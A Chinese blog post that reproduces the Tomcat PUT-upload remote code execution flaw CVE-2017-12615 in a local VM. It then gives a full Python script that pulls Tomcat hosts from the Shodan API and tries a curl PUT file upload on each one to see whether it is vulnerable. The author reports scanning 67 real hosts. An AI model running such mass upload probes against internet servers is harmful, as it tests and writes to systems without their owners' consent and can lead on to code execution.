利用Shodan寻找有漏洞CVE-2017-12615的网站

零、概述

这篇文章记录了我使用搜索引擎Shodan提供的API自动寻找具有漏洞CVE-2017-12615的网站的思路与实现及最终结果。

一、CVE-2017-12615复现与检测

1.漏洞描述

该漏洞的详情见参考文献[1]。总结来说,CVE-2017-12615是Tomcat从5.x到9.x都有、影响Linux和Windows版本的严重远程代码执行漏洞。该漏洞仅在conf/web.xml中readonly参数设置为false(默认为true)时才存在。该漏洞允许攻击者通过PUT方式上传任意文件。若上传jsp文件,则通过在浏览器中访问上传的jsp文件,可执行jsp中脚本。

2.漏洞复现

首先从Tomcat官网下载最新版Tomcat——9.0.0.M26并安装,我把它安装在了Ubuntu14.04虚拟机中(虚拟机IP是192.168.56.101),安装过程见参考文献[2]。

然后修改Tomcat的配置文件conf/web.xml,在servlet-name为default的servlet标签内添加:

  <init-param>
      <param-name>readonly</param-name>
      <param-value>false</param-value>
  </init-param>

添加好后保存文件退出,并重启Tomcat。

最后,访问Tomcat根目录下某个不存在的文件,如:

  http://192.168.56.101:8080/1.jsp

会返回404,接着用PUT方法提交该文件。如何用PUT方法提交文件呢?最简单的方法是用curl命令,如:

  curl -XPUT 192.168.56.101/1.jsp/ --data "test"

这时再访问该URL,会返回刚刚提交的文件内容“test”。若提交的文件内容不是简单的“test”而是一段jsp代码,这段jsp则可以被执行。漏洞复现成功。

若PUT文件时返回403,可能是readonly被设置为true的原因。

3.漏洞检测

通过前面的复现,检测该漏洞的思路已经很清晰了,便是尝试用PUT方法向目标站点上传文件,上传失败则无此漏洞。上传成功后访问该文件,访问成功则确定漏洞存在,不成功则说明无此漏洞。

下面是上述漏洞检测逻辑的Python实现:

  import commands
  def detection(host, port):
      code = "7HU@&*e2%&!UEG^"
      put = 'curl -XPUT {0}:{1}/dete.jsp/ --data "{2}"'.format(host, port, code)
      get = 'curl {0}:{1}/dete.jsp'.format(host, port)
      (status, output) = commands.getstatusoutput(put)
      if status == 0 and output == '':
          (status, output) = commands.getstatusoutput(get)
          if status == 0 and output == code:
              return true
      return false

二、Shodan的API

1.什么是Shodan

Shodan是一个搜索引擎的名字,在这一点上它和Google、百度没有什么区别。区别在于搜索的内容不同,Google和百度搜索的对象主要是网站,当然也包含图片、视频、音乐和文档等,而Shodan搜索的对象则是任何连接到互联网的设备,除了服务器外,还包括网络摄像头、路由器和工控设备等等,只要是联网设备,都在它的搜索范围之内。

2.为什么用Shodan

在Google或百度中搜索“tomcat”,返回的是包含有“tomcat”这个字符串的网页,而在Shodan中搜索“tomcat”,返回的是使用了Tomcat的网站,这正是我们想要的。

3.Shodan的API

Shodan官方提供了封装了API的Python库,使用它可以方便地搜索并自动处理搜索结果。

使用如下命令安装Shodan的Python库:

sudo pip install shodan

该库可在Python代码中调用,也可以在命令行中使用“shodan”命令进行搜索。

安装好后还不能立即使用“shodan”命令,要先到Shodan官网注册账号,获取key,然后在命令行中输入如下命令进行初始化,之后才可以使用:

shodan init <key>

“shodan”命令的使用见参考文献[3]。我们主要在Python代码中调用Shodan库,文档见参考文献[4]。

4.搜索脚本

根据文档,可以很容易地写出搜索“tomcat”的Python代码,如下所示:

  import shodan
  SHODAN_API_KEY = "insert your API key here"
  api = shodan.Shodan(SHODAN_API_KEY)
  try:
      results = api.search('tomcat')
      print 'Results found: %s' % results['total']
      for result in results['matches']:
          print("{0}:{1}").format(result['ip_str'], result['port'])
  except shodan.APIError, e:
      print 'Error: %s' % e

三、完整脚本与检测结果

1.完整脚本

将搜索部分和检测部分结合在一起便完成了整个脚本。为日后复制粘贴之便,虽然大部分代码在上文中出现过但还是在下面给出完整的脚本:

  import commands
  import shodan

  SHODAN_API_KEY = "insert your API key here"

  def detection_CVE_2017_12615(host, port):
      code = "7HU@&*e2%&!UEG^"
      put = 'curl -XPUT {0}:{1}/dete.jsp/ --data "{2}"'.format(host, port, code)
      get = 'curl {0}:{1}/dete.jsp'.format(host, port)
      (status, output) = commands.getstatusoutput(put)
      if status == 0 and output == '':
          (status, output) = commands.getstatusoutput(get)
          if status == 0 and output == code:
              return True
      return False

  def search(key, detection_function):
      api = shodan.Shodan(SHODAN_API_KEY)
      try:
          results = api.search(key)
          print 'Results found: %s' % results['total']
          result_total = 0
          bingo_total = 0
          for result in results['matches']:
              if detection_function(result['ip_str'], result['port']):
                  print("Bingo! {0}:{1}".format(result['ip_str'], result['port']))
                  bingo_total += 1
              else:
                  print("NOVULN {0}:{1}".format(result['ip_str'], result['port']))
              result_total += 1
          print("Result is {0}/{1}".format(bingo_total, result_total))
      except shodan.APIError, e:
          print 'Error: %s' % e

  if __name__ == '__main__':
      search('tomcat', detection_CVE_2017_12615)

2.检测结果

Shodan搜索“tomcat”共有50313个结果,由于我的key是免费的,故而只能查看50313个结果中的67个。最终的检测也是针对这67个网站的,检测结果为这67个网站全部都没有漏洞。忙活一整天,结果一个漏洞都没有找到,真是令人沮丧。

参考文献

  1. Tomcat 远程代码执行漏洞分析(CVE-2017-12615)及补丁 Bypass
  2. Ubuntu16.10下安装Tomcat9
  3. 安全搜索引擎Shodan(搜蛋)命令行模式使用TIPS
  4. shodan-python 1.0 documentation
  5. Shodan新手入坑指南

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注

15 − 11 =